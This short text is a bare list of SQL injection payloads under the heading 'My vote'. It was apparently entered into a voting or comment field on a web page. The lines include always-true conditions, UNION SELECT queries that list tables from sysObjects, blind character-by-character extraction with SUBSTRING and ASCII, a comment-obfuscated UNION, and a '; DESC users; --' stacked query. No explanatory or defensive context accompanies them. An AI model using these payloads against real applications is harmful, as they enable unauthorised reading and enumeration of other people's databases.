My vote

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1 AND 1=1

1 EXEC XP_

1'1

1' OR '1'='1

1 OR 1=1

1' OR '1'='1

1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --

1 UNI/**/ON SELECT ALL FROM WHERE

' OR username IS NOT NULL OR username = '

1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 116

1' AND non_existant_table = '1

1'1

'; DESC users; --

1 AND 1=1